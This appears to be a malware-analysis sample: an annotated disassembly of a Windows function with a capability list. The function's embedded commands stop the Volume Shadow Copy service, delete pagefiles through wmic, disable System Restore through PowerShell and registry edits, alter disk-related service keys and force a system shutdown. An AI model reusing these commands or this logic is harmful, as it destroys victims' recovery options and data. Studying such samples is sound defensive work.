Function at 0x14018bcc0
Capabilities:
Check if file exists
Get common file path
Get disk information
Shutdown system

Disassembly:
push rdi
sub rsp, 0x370
mov qword [rsp + 0x300], 0xfffffffffffffffe
mov rax, qword [0x1402aa5c0]
xor rax, rsp
mov qword [rsp + 0x368], rax
mov edx, 1
xor ecx, ecx
call fcn.1400dfc60
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, [0x140247390]
call fcn.140004930
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x30], eax
xor eax, eax
mov word [rsp + 0x40], ax
lea rdi, [rsp + 0x42]
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov byte [rsp + 0x27c], 0x41
jmp 0x14018bd54
movzx eax, byte [rsp + 0x27c]
add al, 1
mov byte [rsp + 0x27c], al
movsx eax, byte [rsp + 0x27c]
cmp eax, 0x5a
jg 0x14018bf0b
movsx ecx, byte [rsp + 0x27c]
sub ecx, 0x41
mov eax, 1
shl eax, cl
mov ecx, eax
mov eax, dword [rsp + 0x30]
and eax, ecx
test eax, eax
jne 0x14018bd85
jmp 0x14018bd43
lea rcx, [rsp + 0x280]
call fcn.140002de0
nop
movsx r8d, byte [rsp + 0x27c]
lea rdx, [0x140247400]
lea rcx, [rsp + 0x280]
call fcn.140002c70
lea rcx, [rsp + 0x280]
call fcn.14000f8f0
mov rcx, rax
call fcn.1400a8944
mov rdi, rax
lea rcx, [rsp + 0x280]
call fcn.14000f8f0
mov r8, rdi
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1400ab814
test eax, eax
jne 0x14018bdfb
lea rcx, [rsp + 0x280]
call fcn.140001490
jmp 0x14018bd43
lea rcx, [rsp + 0x280]
call fcn.14000f8f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x14018be28
lea rcx, [rsp + 0x280]
call fcn.140001490
jmp 0x14018bd43
lea rcx, [rsp + 0x280]
call fcn.14000f8f0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x14018be54
lea rcx, [rsp + 0x280]
call fcn.140001490
jmp 0x14018bd43
lea r8, [rsp + 0x280]
lea rdx, str.wmic_pagefileset_where_name_
lea rcx, [rsp + 0x2c8]
call fcn.140006c90
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x310], rax
lea r8, str.pagefile.sys__delete
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x2d0]
call fcn.1400010b0
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x320], rax
mov rcx, qword [rsp + 0x320]
call fcn.14000f8f0
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, rax
call fcn.140004930
nop
lea rcx, [rsp + 0x2d0]
call fcn.140001490
nop
lea rcx, [rsp + 0x2c8]
call fcn.140001490
nop
lea rcx, [rsp + 0x280]
call fcn.140001490
jmp 0x14018bd43
mov byte [rsp + 0x288], 0x41
jmp 0x14018bf26
movzx eax, byte [rsp + 0x288]
add al, 1
mov byte [rsp + 0x288], al
movsx eax, byte [rsp + 0x288]
cmp eax, 0x5a
jg 0x14018c0e1
movsx ecx, byte [rsp + 0x288]
sub ecx, 0x41
mov eax, 1
shl eax, cl
mov ecx, eax
mov eax, dword [rsp + 0x30]
and eax, ecx
test eax, eax
jne 0x14018bf57
jmp 0x14018bf15
lea rcx, [rsp + 0x290]
call fcn.140002de0
nop
movsx r8d, byte [rsp + 0x288]
lea rdx, [0x140247480]
lea rcx, [rsp + 0x290]
call fcn.140002c70
lea rcx, [rsp + 0x290]
call fcn.14000f8f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x14018bfaf
lea rcx, [rsp + 0x290]
call fcn.140001490
jmp 0x14018bf15
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x2d8]
call fcn.140002100
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x330], rax
lea r8, str._system32WindowsPowerShell_v1.0powershell.exe__disable_computerrestore__drive
mov rdx, qword [rsp + 0x330]
lea rcx, [rsp + 0x2e0]
call fcn.1400010b0
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x340], rax
lea r8, [rsp + 0x290]
mov rdx, qword [rsp + 0x340]
lea rcx, [rsp + 0x2e8]
call fcn.140006bd0
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x350], rax
lea r8, [0x140245734]
mov rdx, qword [rsp + 0x350]
lea rcx, [rsp + 0x2f0]
call fcn.1400010b0
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x360], rax
mov rcx, qword [rsp + 0x360]
call fcn.14000f8f0
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, rax
call fcn.140004930
nop
lea rcx, [rsp + 0x2f0]
call fcn.140001490
nop
lea rcx, [rsp + 0x2e8]
call fcn.140001490
nop
lea rcx, [rsp + 0x2e0]
call fcn.140001490
nop
lea rcx, [rsp + 0x2d8]
call fcn.140001490
nop
lea rcx, [rsp + 0x290]
call fcn.140001490
jmp 0x14018bf15
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.net_stop_vss
call fcn.140004930
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSystemRestore___v_RPSessionInterval__t_REG_DWORD__d_0__f
call fcn.140004930
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_DELETE__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSPPClients___f
call fcn.140004930
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSPPClients___f
call fcn.140004930
call fcn.14018af10
mov dword [rsp + 0x278], eax
lea rcx, [rsp + 0x268]
call fcn.140005560
nop
mov r9d, 0x20019
lea r8, [0x1402477b0]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005720
test eax, eax
jne 0x14018c207
mov dword [rsp + 0x298], 3
lea r8, [rsp + 0x298]
lea rdx, [0x140247808]
lea rcx, [rsp + 0x268]
call fcn.1400057b0
lea rcx, [rsp + 0x268]
call fcn.1400055f0
cmp dword [rsp + 0x298], 0
je 0x14018c207
mov r9d, 0x2001f
lea r8, str.SYSTEMCurrentControlSet_servicesmsahci
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005720
test eax, eax
jne 0x14018c207
xor r8d, r8d
lea rdx, [0x140247878]
lea rcx, [rsp + 0x268]
call fcn.140005aa0
lea rcx, [rsp + 0x268]
call fcn.1400055f0
mov r9d, 0x20019
lea r8, [0x140247890]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005720
test eax, eax
jne 0x14018c2b7
mov dword [rsp + 0x29c], 1
lea r8, [rsp + 0x29c]
lea rdx, [0x140247900]
lea rcx, [rsp + 0x268]
call fcn.1400057b0
lea rcx, [rsp + 0x268]
call fcn.1400055f0
cmp dword [rsp + 0x29c], 0
je 0x14018c2b7
mov r9d, 0x2001f
lea r8, str.SYSTEMCurrentControlSet_servicesPerfDiskPerformance
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005720
test eax, eax
jne 0x14018c2b7
xor r8d, r8d
lea rdx, str.Disable_Performance_Counters
lea rcx, [rsp + 0x268]
call fcn.140005aa0
lea rcx, [rsp + 0x268]
call fcn.1400055f0
lea rcx, [rsp + 0x250]
call fcn.140005560
nop
mov r9d, 0x20019
lea r8, str.SystemCurrentControlSetServices_vds
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x250]
call fcn.140005720
test eax, eax
jne 0x14018c344
lea rcx, [rsp + 0x250]
call fcn.1400055f0
mov r9d, 0x2001f
lea r8, [0x140247a40]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x250]
call fcn.140005720
test eax, eax
jne 0x14018c344
lea r8, [0x140247a98]
lea rdx, str.DependOnService
lea rcx, [rsp + 0x250]
call fcn.140005ba0
lea rcx, [rsp + 0x250]
call fcn.1400055f0
call fcn.1401da4a0
mov dword [rsp + 0x260], eax
cmp dword [rsp + 0x278], 0
jne 0x14018c368
cmp dword [rsp + 0x260], 2
jne 0x14018c458
mov r8d, 0xffffffff
mov edx, 0x44
mov ecx, 0x83
call fcn.1400f16c0
cmp eax, 6
jne 0x14018c458
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x2a0], rax
lea r8, [rsp + 0x2a8]
mov edx, 0x20
mov rcx, qword [rsp + 0x2a0]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x2b8], 1
lea r8, [rsp + 0x2b0]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rdx, qword [rsp + 0x2b0]
mov qword [rsp + 0x2bc], rdx
mov dword [rsp + 0x2c4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x2b8]
xor edx, edx
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, 0x80020003
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov dword [rsp + 0x2f8], 0
lea rcx, [rsp + 0x250]
call fcn.140005590
nop
lea rcx, [rsp + 0x268]
call fcn.140005590
mov eax, dword [rsp + 0x2f8]
jmp 0x14018c485
mov dword [rsp + 0x2fc], 1
lea rcx, [rsp + 0x250]
call fcn.140005590
nop
lea rcx, [rsp + 0x268]
call fcn.140005590
mov eax, dword [rsp + 0x2fc]
mov rcx, qword [rsp + 0x368]
xor rcx, rsp
call fcn.1400a8790
add rsp, 0x370
pop rdi
ret